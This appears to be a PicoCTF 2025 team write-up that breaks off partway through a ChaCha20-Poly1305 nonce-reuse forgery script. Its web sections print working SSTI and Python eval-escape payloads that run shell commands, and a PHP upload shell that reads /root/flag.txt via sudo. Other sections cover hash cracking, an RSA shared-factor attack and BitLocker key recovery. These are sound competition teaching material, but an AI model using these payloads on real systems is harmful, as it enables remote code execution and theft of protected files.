[go: up one dir, main page]

0% found this document useful (0 votes)
2K views120 pages

PicoCTF 2025 WriteUps

The document contains writeups for various challenges from the PicoCTF 2025 competition, focusing on Rust programming and cryptography. It includes code snippets with errors and their corrections, demonstrating how to properly handle decryption using the XORCryptor library. The writeups cover multiple topics, including memory safety, function argument passing, and unsafe operations in Rust.

Uploaded by

LAUVIAH VLAVONOU
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2K views120 pages

PicoCTF 2025 WriteUps

The document contains writeups for various challenges from the PicoCTF 2025 competition, focusing on Rust programming and cryptography. It includes code snippets with errors and their corrections, demonstrating how to properly handle decryption using the XORCryptor library. The writeups cover multiple topics, including memory safety, function argument passing, and unsafe operations in Rust.

Uploaded by

LAUVIAH VLAVONOU
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 120

​ ​ ​ ​ ​ ​ ​ ​

C
SE PicoCTF 2025 Writeups
BJ

Head Members ​ ​ ​ ​ ​ ​ ​ Collaborators

-​ Byylle ODOALEYKOUN ​ ​ ​ ​ - Vincent HOUSSOU


-​ Cyrille K. ASSOGBA​ ​ ​ ​ ​ - Chamss-Dine AGBIZOUNON
-​ Ange HOUNGBETODE
-​ Roberto HOUNGBO

​ ​ ​ All rights reserved - BJ SEC 2025


TABLE OF CONTENT

- Rust Fixme 1​ 3
Corrections:​ 4
- Rust Fixme 2​ 5
Corrections:​ 7
- Rust Fixme 3​ 9
- YaraRules0x100​ 13

C
- SSTI1​ 17
- n0s4n1ty 1​ 19
- Cookie Monster Secret Recipe​ 21
- head-dump​ 22
- SSTI2​
- 3v@l​
SE 24
26
- Apriti Sesamo​ 29
- WebSockFish​ 32
- Bitlocker 2​ 34
- Flags are stepic​ 35
- RED​ 36
- hashcrack​ 38
- EVEN RSA CAN BE BROKEN???​ 43
BJ

- Guess My Cheese (Part 1)​ 45


- Guess My Cheese (Part 2)​ 52
Résolution Steps​ 52
- ChaCha Slide​ 55
- Ricochet​ 63
Flag Hunters​ 80
Quantum Scrambler​ 81
Tap Into Hash​ 82
Perplexed​ 86
Binary instrumentation 1​ 87
Binary instrumentation 2​ 92

​ ​ ​ All rights reserved - BJ SEC 2025


Chronohack​ 100
Handoff​ 105
Hash Only 1​ 106
Hash Only 2​ 107
Pie time​ 108

C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


GENERAL SKILLS

-​ Rust Fixme 1

C
SE
We are given a rust code with some eros in the main.py​

use xor_cryptor::XORCryptor;

fn main() {
// Key for decryption
let key = String::from("CSUCKS") // How do we end statements in Rust?
BJ

// Encrypted flag values


let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1",
"61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3",
"35"];

// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();

​ ​ ​ All rights reserved - BJ SEC 2025


// Create decrpytion object
let res = XORCryptor::new(&key);
if res.is_err() {
ret; // How do we return in rust?
}
let xrc = res.unwrap();

// Decrypt flag and print it out

C
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!(
":?", // How do we print out a variable in the println function?
String::from_utf8_lossy(&decrypted_buffer)

}
);
SE
Corrections:

1.​ Semicolon Missing: In Rust, statements are terminated with a semicolon (;), so we
BJ

need to add it after let key = String::from("CSUCKS").


2.​ Return Statement: ret should be replaced with return to exit the function.
3.​ println! Macro: The format string in println! is incorrect.
4.​ Using XORCryptor: We need to ensure that xor_cryptor::XORCryptor is correctly
imported, or the code will throw an error.

Here is the corrected code:

use xor_cryptor::XORCryptor; // Ensure this crate is included in Cargo.toml​



fn main() {​

​ ​ ​ All rights reserved - BJ SEC 2025


// Key for decryption​
let key = String::from("CSUCKS"); // Add semicolon here to terminate the statement​

// Encrypted flag values​
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1",
"61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3",
"35"];​

// Convert the hexadecimal strings to bytes and collect them into a vector​
let encrypted_buffer: Vec<u8> = hex_values.iter()​

C
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())​
.collect();​

// Create decryption object​

if res.is_err() {​
SE
let res = XORCryptor::new(&key);​

return; // Use 'return' to exit the function if there's an error​


}​
let xrc = res.unwrap();​

// Decrypt flag and print it out​
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);​
println!("{}", String::from_utf8_lossy(&decrypted_buffer)); // Correct syntax for
BJ

printing a variable​
}

Compiling it and running and we got the flag.

​ ​ ​ All rights reserved - BJ SEC 2025


-​ Rust Fixme 2

C
For now the main.py looks like : ​

SE
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values
to a function that we want to change?

// Key for decryption


let key = String::from("CSUCKS");
BJ

// Editing our borrowed value


borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

// Create decrpytion object


let res = XORCryptor::new(&key);
if res.is_err() {
return; // How do we return in rust?
}
let xrc = res.unwrap();

​ ​ ​ All rights reserved - BJ SEC 2025


// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}

fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",

C
"25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];

// Convert the hexadecimal strings to bytes and collect them into a vector
SE
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();

let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable


changeable?
decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a
function so that it can be changed?
BJ

Corrections:

-​ Borrowed_string mutation problem


-​ &String is passed as an argument, but a &String is immutable by default.
-​ To modify the string, we need to pass &mut String (a mutable reference).
Argument passing problem in main

​ ​ ​ All rights reserved - BJ SEC 2025


-​ party_foul is a mutable variable, but they're not passing it correctly as a mutable
reference in decrypt.

Here is the correct version of the code : ​


use xor_cryptor::XORCryptor;​

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) { // Use &mut to
allow modification​

C
// Key for decryption​
let key = String::from("CSUCKS");​

// Editing our borrowed value​


SE
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");​

// Create decryption object​


let res = XORCryptor::new(&key);​
if res.is_err() {​
return; // Return immediately if error occurs​
}​
let xrc = res.unwrap();​

BJ

// Decrypt flag and append it to the borrowed string​


let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);​
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));​

// Print the final result​
println!("{}", borrowed_string);​
}​

fn main() {​
// Encrypted flag values​
let hex_values = [​
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", ​

​ ​ ​ All rights reserved - BJ SEC 2025


"0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"​
];​

// Convert hex values to bytes​
let encrypted_buffer: Vec<u8> = hex_values.iter()​
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())​
.collect();​

// Declare a mutable string​
let mut party_foul = String::from("Using memory unsafe languages is a: ");​

C

// Pass mutable reference to the function​
decrypt(encrypted_buffer, &mut party_foul);​
}
SE
Compiling and running give us the flag.
BJ

-​ Rust Fixme 3

​ ​ ​ All rights reserved - BJ SEC 2025


This time, the code in main.py looks like :

use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {


// Key for decryption
let key = String::from("CSUCKS");

// Editing our borrowed value

C
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

// Create decryption object

if res.is_err() {
return;
SE
let res = XORCryptor::new(&key);

}
let xrc = res.unwrap();

// Did you know you have to do "unsafe operations in Rust?


// https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html
BJ

// Even though we have these memory safe languages, sometimes we need to do things
outside of the rules
// This is where unsafe rust comes in, something that is important to know about in order to
keep things in perspective

// unsafe {
// Decrypt the flag operations
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

// Creating a pointer
let decrypted_ptr = decrypted_buffer.as_ptr();

​ ​ ​ All rights reserved - BJ SEC 2025


let decrypted_len = decrypted_buffer.len();

// Unsafe operation: calling an unsafe function that dereferences a raw pointer


let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);

borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
// }
println!("{}", borrowed_string);
}

C
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01",
SE
"35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9", "35"];

// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();

let mut party_foul = String::from("Using memory unsafe languages is a: ");


BJ

decrypt(encrypted_buffer, &mut party_foul);


}

The code provided is almost correct, but there are a few small fixes that need to be
made to make it work properly. The fixes are mainly related to the use of unsafe, which
isn't needed here, and the handling of references in the decrypt function.
Here is the correct code. ​

​ ​ ​ All rights reserved - BJ SEC 2025


use xor_cryptor::XORCryptor;​

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {​
// Key for decryption​
let key = String::from("CSUCKS");​

// Editing our borrowed value​
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");​

// Create decryption object​

C
let res = XORCryptor::new(&key);​
if res.is_err() {​
return;​
}​


SE
let xrc = res.unwrap();​

// Decrypt the flag and get the result as a byte vector​


let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);​

// Convert the decrypted buffer to a string and append it to borrowed_string​
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));​

println!("{}", borrowed_string);​
BJ

}​

fn main() {​
// Encrypted flag values​
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1",
"01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9",
"35"];​

// Convert the hexadecimal strings to bytes and collect them into a vector​
let encrypted_buffer: Vec<u8> = hex_values.iter()​
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())​
.collect();​

​ ​ ​ All rights reserved - BJ SEC 2025



let mut party_foul = String::from("Using memory unsafe languages is a: ");​
decrypt(encrypted_buffer, &mut party_foul);​
}

And by building and compiling we got the hollllllly flag !!!!

C
-​ YaraRules0x100 SE
In this challenge, we were provided with a suspicious executable file found on
an employee's Windows PC. The file managed to bypass our Intrusion Detection
Systems (IDS), indicating it might be a new or unknown threat. Our task was to
analyze the file and create YARA rules to detect it in the future.

First, we downloaded the zip file , then extracted it and saw it was a windows
executable file. After that we took a view at the strings inside the file with the
BJ

strings command.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

The first understanding that comes to our mind is to build rules based on some specific
content of the file like specific strings, function names, file size, file hash ..etc Based on
all that and after many tries we finally found the right rules to pass all the checks.

Here is the content of the final yara file:

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

Passing this to the socat instance and we got the flag:

​ ​ ​ All rights reserved - BJ SEC 2025


WEB EXPLOITATION

-​ SSTI1

C
SE
The challenge title oriented us on which type of vulnerability will be exploited here :
Server Side Template Injection

We start by just using a payload to list current directory content :


BJ

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

And we got :

​ ​ ​ All rights reserved - BJ SEC 2025


We just have now to read the content of the flag file :

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

C
-​ n0s4n1ty 1
SE
BJ

The website shows us a file upload functionality as shown below.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
As mentioned in the hint that the upload is not properly sanitized, we just upload a php
file with the following content to read flag.txt file in /root :

<?php
// Command to securely read the flag from /root/flag.txt
$command = 'sudo cat /root/flag.txt 2>&1';
$flag = shell_exec($command);
BJ

// Check if the command execution was successful


if ($flag === null || trim($flag) === '') {
echo "<pre>Failed to retrieve the flag. Check permissions.</pre>";
} else {
echo "<pre>Flag content:\n" . $flag . "</pre>";
}
?>

And by executing and accessing uploads/php_exec.php we got the flag :

​ ​ ​ All rights reserved - BJ SEC 2025


C
-​ Cookie Monster Secret Recipe

SE
BJ

This is just a basic web challenge. Accessing the web page shows a login form,
trying to lo gin with any credentials returns :

​ ​ ​ All rights reserved - BJ SEC 2025


C
By checking the cookies we got :
SE
By decoding the base64 encoded secret_recipe , we got the flag :
BJ

picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB}

-​ head-dump

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
By reading the challenge and exploring the website we just end by downloading the
heapdump file and grep pico on that to get the flag :
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
-​ SSTI2
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
The principle is the same but here some characters are blacklisted. ​
By exploring and trying we use this final payload :

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\
BJ

x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')(
'os')|attr('popen')('cat flag')|attr('read')()}}

And we got :

​ ​ ​ All rights reserved - BJ SEC 2025


-​ 3v@l

C
SE
BJ

We are given a web page where we can make calculations. The function used here is
eval. So we should escape in order to read the flag.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

We just used :

__import__('o' + 's').popen("c" + "at $(echo $PWD | cut -c1)flag*").read()

__import__('o' + 's') → Dynamically imports the os module.


.popen("c" + "at $(echo $PWD | cut -c1)flag*") → Runs a system command.
"c" + "at" → Constructs cat to avoid direct filtering.
$(echo $PWD | cut -c1)flag* → Expands to /flag*, assuming the flag is named
something like /flag.txt.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


-​ Apriti Sesamo

C
SE
Here is the website interface which have a login page but we can’t login even
trying sqli and others techniques. Then we went back to hints, by reading them
BJ

we should find backup files files related to emacs users backup. After some
researches, we found that emacs create backups files by adding a tilde at the
end. So we add the ~ to the impossibleLogin.php~ and found a php code by
reading source code of the page. ​

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
The code take the username and the password submitted by the post request
and if the two values are different but have the same sha1 hash we can login. So
BJ

it’s basically a collision attack which should be done here. By passing


username[]=1&pwd[]=2 we were able to fool the app and get the flag in the
error response.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


-​ WebSockFish

C
SE
BJ

The web app is implementing a chess game using sockfish. Looking to the Network tab
of developper tools or into the source code we can see the app is using websockets to
manage the state of the game. So the path is not to think as chess player but to think as
a hacker so as to use a crafted websocket request to make the fish give up. To do that
we sent an eval request with a high negative number and boom the flag is ours.​

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


FORENSICS
-​ Bitlocker 2

The chall is all about using the bitlocker.py plugin with volatility
2. So you should adapt your system to be using python 2.​

The steps :

C
└─$ mkdir thekey​

└─$ python2 volatility/vol.py -f memdump.mem bitlocker
SE
--profile=Win10x64_19041 --dislocker thekey​

└─$ cd thekey ​
└─$ cp 0x40d857c90-Dislocker.fvek key1.txt ​
└─$ sudo dislocker -V bitlocker-2.dd -k thekey/key1.txt -p TOTY​
Enter the recovery password: XXXXXX-XXXXXX-XXXXXX-XXXXXX-​
XXXXXX-XXXXXX-XXXXXX-XXXXXX​
BJ

Valid password format, continuing.


└─$ sudo file TOTY/dislocker-file ​
TOTY/dislocker-file: DOS/MBR boot sector, code offset 0x52+2,
OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8,
sectors/track 63, heads 255, hidden sectors 41531392, dos < 4.0
BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63,
sectors 262143, $MFT start cluster 16981, $MFTMirror start cluster 2,
bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial
number 0ec6ee03e6ee002e6; contains bootstrap BOOTMGR​

​ ​ ​ All rights reserved - BJ SEC 2025


└─$ sudo mount -t ntfs -o loop TOTY/dislocker-file /mnt/gg​
└─$ cd /mnt/gg
└─$ ls ​
'$RECYCLE.BIN' flag.txt 'System Volume Information'
└─$ cat flag.txt ​
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}

C
-​ Flags are stepic
SE
BJ

We are given a website showing different countries with their flags. By take a closer look
we identified a non country :

​ ​ ​ All rights reserved - BJ SEC 2025


By downloading the picture and using the tool stepic as
mentioned in the name of the challenge we got the flag.

C
SE
BJ

-​ RED

​ ​ ​ All rights reserved - BJ SEC 2025


C
We just download the picture , applied zsteg on it :
SE
BJ

And decoding the flag with base64 :

​ ​ ​ All rights reserved - BJ SEC 2025


CRYPTOGRAPHY

C
-​ hashcrack
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


Reading comprehension : Reading the challenge description
helped us know that we have to deal with a hash cracking
challenge. Hint 3 showed us more evidence about that.

On Our Way To Flag

First of all, we interacted with the challenge instance so as


to get more grisp with it.

C
SE
This later helped us know how to write a script so as to get
the proposed hash, crack it and send the result back to the
server.
BJ

Secondly, we quickly searched over the internet about a


hash cracking tool and came across JTR (John The Ripper).

Thirdly, we downloaded rockyou.txt as a wordlist JTR will


base itself on.

Also, hint 2 was talking about a relationship between


length and hashing algorithms.

​ ​ ​ All rights reserved - BJ SEC 2025


C
So we asked ChatGPT to generate a table based on that
relationship.
SE
BJ

And we used that so as to know what format to give JTR in


order to successfully perform the cracking.

Finally, we wrote a python script so as to connect to the


instance, solve the challenge and grab the flag.

​ ​ ​ All rights reserved - BJ SEC 2025


import os
import subprocess
from pwn import remote

JTR_path = r"G:\_tooling_\JohnTheRipper\run\john.exe"
JTR_pot_path = r"G:\_tooling_\JohnTheRipper\run\john.pot"
wordlist_path = r"G:\_tooling_\rockyou.txt"
hash_length_rship = {128//4: "raw-md5", 160//4: "raw-sha1", 224//4: "raw-sha224",

C
256//4: "raw-sha256", 384//4: "raw-sha384", 512//4: "raw-sha512"} # binding hash
hexadecimal length to hash format

def crackHash(hash_value):
try:
SE
hash_format = hash_length_rship[len(hash_value)] # getting hash format
fname ="hashcrack-current-hash.txt"; open(fname, "w").write(hash_value) #
creating file to store hash value
os.remove(JTR_pot_path) # deleting json.pot so as to let JTR give the cracked
pssword in the output
JTR_results = subprocess.run(f"{JTR_path} --wordlist={wordlist_path}
--format={hash_format} {fname}".split(), capture_output=True, text=True)# triggering
BJ

JTR to crack the hash


os.remove(fname) # deleting fname
cracked_password = list(filter(lambda x : "(?)" in x,
JTR_results.stdout.splitlines()))[0][:-3].rstrip() # retrieving cracked password from
JTR_results
return cracked_password
except:
raise Exception(f"Hash format of '{hash_value}' has not been recognized...")

​ ​ ​ All rights reserved - BJ SEC 2025


if __name__ == "__main__":
conn = remote("verbal-sleep.picoctf.net", 57356)

for i in range(3):
print(conn.recvuntil(b"hash: ")[:-1].decode()); current_hash =
conn.recvline()[:-1].decode() # getting hash value from instance
cracked_hash_password = crackHash(current_hash); print(f"Cracked password :
{current_hash} <=> {cracked_hash_password}") # cracking the password bound to
that hash value
print(conn.recvuntil(b"identified hash: ")[:-1].decode());

C
conn.sendline(cracked_hash_password.encode()) # sending the cracked password
to the server instance
SE
conn.recvuntil(b"The flag is: ")
flag = conn.recvline()[:-1].decode()
print(f"\n\n{flag = }")
conn.close()

Running it gave us the flag.


BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


-​ EVEN RSA CAN BE BROKEN???

C
SE
Reading Comprehension: While reading the challenge
description and taking a closer look at hint 3 and the provided
file (encrypt.py), we realized that randomness on instance is not
at all very secure.
BJ

Hint 3 was saying to compare N across multiple requests. So, for


sure, while collecting those Ns, we shall find at least two of them
sharing a prime factor. That was what that hint was about.

Having two Ns sharing a prime factor, we just need to compute


GCD of both so as to extract that shared factor and from that
point everything became trivial.

​ ​ ​ All rights reserved - BJ SEC 2025


On Our Way To Flag:
​ We translated that reading comprehension into a python
script.

import sys
from math import gcd
from pwn import remote
from Crypto.Util.number import isPrime, long_to_bytes

C
PORT = int(sys.argv[1]) SE
def getDatas(): # function to gather informations from the challenge instance
conn = remote("verbal-sleep.picoctf.net", PORT)
data = conn.recvall().decode()[:-1].split("\n")
conn.close()
return data

first = getDatas() # grabbing datas at first time


N = int(first[0].split()[-1])
BJ

e = int(first[1].split()[-1])
c = int(first[2].split()[-1])

print(f"{N = }")
print(f"{e = }")
print(f"{c = }")

while True:
N_other = int(getDatas()[0].split()[-1]) # collecting N accross multing requests/instances
common = gcd(N, N_other) # looking for a possible shared factor
if common != 1: # greater than 1

​ ​ ​ All rights reserved - BJ SEC 2025


q = N // common
assert isPrime(common) and isPrime(q) and (q*common == N)
phi = (common - 1) * (q - 1)
d = pow(e, -1, phi)
print("FLAG =>", long_to_bytes(pow(c, d, N)).decode())
exit()

Running it; we got the flag.

C
SE
BJ

-​ Guess My Cheese (Part 1)

​ ​ ​ All rights reserved - BJ SEC 2025


C
Reading Comprehension: We started interacting with the
SE
challenge instance.
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


We quickly realized that we have to deal with a decryption one.
The instance gives us a ciphered cheese name and we have to
provide the clear cheese name.

But the main trick here is to figure out what kind of cipher is used
???

Hopefully, the hint provided helped us get more grips with that.

C
There were some keywords such as affinity, linear equations that
lead us to affine cipher, which was the one used server-side.
SE
We googled it so as to better understand its inner process.
BJ

This alphabet based itself on an alphabet. The default one used


is shown below:

​ ​ ​ All rights reserved - BJ SEC 2025


We made the hypothesis that perhaps that is the one used by
the challenge.

Finally we need to compute values of a and b so as to fully

C
recover the cipher used server-side. Fortunately, the instance
allowed us to encrypt a cheese of our choice. So we made
abuse of that so as to recover a and b.
SE
BJ

Once that was done, we simply wrote a python script to


connect to the instance, solve the challenge and grab the flag.

On Our Way To Flag:

​ Here comes the python script used to solve that challenge.

​ ​ ​ All rights reserved - BJ SEC 2025


import sys
from pwn import remote

PORT = int(sys.argv[1])

alphabet = [chr(65 + i) for i in range(26)] # A...Z (alphabet list)

def affine_decription(char, a, b): # it applied to a character at time

C
return alphabet[((alphabet.index(char) - b) * pow(a, -1, 26)) % 26]

conn = remote("verbal-sleep.picoctf.net", PORT) # connecting to the server


SE
print(conn.recvuntil(b"Here's my secret cheese -- if you're Squeexy, you'll be able to guess it:
"))
encrypted_cheese = conn.recvline().decode()[:-1] # grabbing the targeted encrypted
cheese
print(f"{encrypted_cheese = }")

print(conn.recvuntil(b"What would you like to do?\n"))


BJ

# interacting with the server so as to get a pair of (plaintext, ciphertext)


conn.sendline(b"e")
print(conn.recvuntil(b"What cheese would you like to encrypt? "))
conn.sendline(b"BALADI")
to_recover = conn.recvline().decode()[:-1].split(": ")[-1]
print(f"{to_recover = }")

# computing a and b based on what we got from server


b = alphabet.index(to_recover[1])

​ ​ ​ All rights reserved - BJ SEC 2025


a = alphabet.index(to_recover[0]) - b

# reonstructing the originated cheese name used to generate encrypted_cheese


unecrypted_cheese = ""
for char in encrypted_cheese:
unecrypted_cheese += affine_decription(char, a, b)
print(f"{unecrypted_cheese = }")

# solving the server challenge by send


print(conn.recvuntil(b"What would you like to do?\n"))

C
conn.sendline(b"g")
print(conn.recvuntil(b"So...what's my cheese?\n"))
conn.sendline(unecrypted_cheese.encode())
SE
print(conn.recvall().decode()) # getting flag
conn.close()

​ Running it we got the flag.


BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


-​ Guess My Cheese (Part 2)

C

SE
Reading Comprehension:

You have a target SHA-256 hash and a list of cheese names. The aim is to find which
combination of cheese name and salt value (ranging from 0 to 255) generates the
target hash.

Resolution Steps

First, I downloaded the list of cheeses file and then started the challenge instance.
BJ



With the -g option, which asks us to guess the cheese, I wrote a Python script to find the

​ ​ ​ All rights reserved - BJ SEC 2025


cheese and the salt. However, it took me a while because I had written my code
incorrectly. In the end, it worked fine.

Here is the code:

C

SE ​
BJ


​ ​ ​ All rights reserved - BJ SEC 2025


C


Now, let's
SE
execute the script to see the result.
BJ


And bingo! We got the flag.
We confirmed that our cheese is Abertam and our salt is 67.

​ ​ ​ All rights reserved - BJ SEC 2025


-​ ChaCha Slide

C
SE
Reading Comprehension: Reading the challenge and taking a
BJ

closer look at the given file (challenge.py), it was clear that this
challenge was about ciphertext forgery attack.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

The goal is to give the server a hex data which will be


decrypted to a string containing the goal (“But it’s only secure if
used correctly!”) through the ChaCha20_Poly1305 cipher so as
to be rewarded the flag.

​ ​ ​ All rights reserved - BJ SEC 2025


ChaCha20_Poly1305 does two things on encryption : it
computes ciphertext from plaintext using ChaCha20 and
computes an authenticity tag on plaintext using Poly1305.

The data we were asked to send to the server shall include


three elements in one : the ciphertext of the crafted plaintext, its
tag and a nonce.

C
For a running instance, we remarked that the key and nonce
are reused every time ChaCha20_Poly1035 is called and that
eases our exploit.
SE
One other great help is that the challenge provided us with two
plaintexts and their corresponding ciphertexts and tags, and the
reused nonce.
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


Remember that Ciphertext (hex) is in fact ciphertext + tag +
nonce in hex.

Here was our strategy :


​ -​ we forged a plaintext P3 for which we should send its
ciphertext and tag :

C
​ -​ to forge the corresponding ciphertext, we have to


SE
understand ChaCha20 a bit
ChaCha20(key, nonce) computes a stream key from key
and nonce and xor it to plaintext messages so as to produce
ciphertexts. Cause key and nonce are reused all over an
instance, that stream key is same for all ciphers generated.
​ So, we have K which is a stream key generated from
ChaCha20(key, nonce) and C1 = K xor P1, C2 = K xor P2.
BJ

​ It’s then easy to get K and by the way compute C3 (C3 =


C1 xor P1 xor P3).
​ -​ forging the Poly1305 tag was a bit challenging, so we
search over internet and come across this github repo which
explain it and implement it very well :
https://github.com/tl2cents/AEAD-Nonce-Reuse-Attacks/blob/main/chacha-poly1305.

​ We get grips with it and understand it better. We use the


function chachapoly1305_nonce_reuse_attack(...) to recover

​ ​ ​ All rights reserved - BJ SEC 2025


Poly1305 subkeys and use those keys with the function
chachapoly1305_forgery_attack(...) to compute P3’s tag
²²

-​ when it comes to the nonce, we use the one provided


by the server.

On Our Way To Flag:

C

​ Here is the script we wrote to interact with the server.


import sys
from pwn import *

PORT = int(sys.argv[1])
SE
conn = remote("activist-birds.picoctf.net", PORT) # connect to the instance

def split_return(message_enc): # used to retrieve insights from data sent by the server
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
BJ

nonce = message_enc[-12:]
return ciphertext, nonce, tag

# getting insights from first known plaintext


conn.recvuntil(b"Plaintext: ")
p1 = conn.recvline()[:-1].replace(b"'", b"")
conn.recvuntil(b"Ciphertext (hex): ")
c1, n1, t1 = split_return(bytes.fromhex(conn.recvline().decode()[:-1]))

# getting insights from second known plaintext

​ ​ ​ All rights reserved - BJ SEC 2025


conn.recvuntil(b"Plaintext: ")
p2 = conn.recvline()[:-1].replace(b"'", b"")
conn.recvuntil(b"Ciphertext (hex): ")
c2, n2, t2 = split_return(bytes.fromhex(conn.recvline().decode()[:-1]))

user = b"But it's only secure if used correctly! what about you ?" # forged plaintext

# printing informations used to forged user's aunthenticity tag


if n1 == n2:
print(f"{p1 = }")

C
print(f"{c1 = }")
print(f"{t1 = }")
print(f"{c2 = }")
print(f"{t2 = }")
SE
print(f"nonce = {n1}")

conn.interactive()

We run it so as to get the flag.


BJ

​ ​ ​ All rights reserved - BJ SEC 2025


When we ran it first , we collected so much information needed
to forge P3’s tag and send it to a script we wrote based on the
github repo we consulted.
from chacha_poly1305_forgery import chachapoly1305_nonce_reuse_attack,
chachapoly1305_forgery_attack
from sage.all import GF, ZZ, PolynomialRing
from Crypto.Cipher import ChaCha20_Poly1305

C
def split_return(message_enc):
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
SE
nonce = message_enc[-12:]
return ciphertext, nonce, tag

if __name__ == "__main__":
p1 = b'Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?'
c1 =
b'{|\x86\xbb1s\x86d\x07a\x0b(\x00Xd\xa5\x1e\x87\xec``\x97\x9e*\xe0.\xef\xdb\xb7\
BJ

x10\x96\xfa\xbe\xfb\x80S\x8b\x0e9\xcal\x87\x00yT\xa4\xb8\xbbr\x1cy\x89H=zd~\xa2\
xaf\x18UG5T\xbf\xa0R\xbc\xd6n-\xcar\x9f1\x80\xd9'
t1 = b'J\xed\xfd\x02JU\x8au5$\xb3$\xe8\x86\xd2-'
c2 =
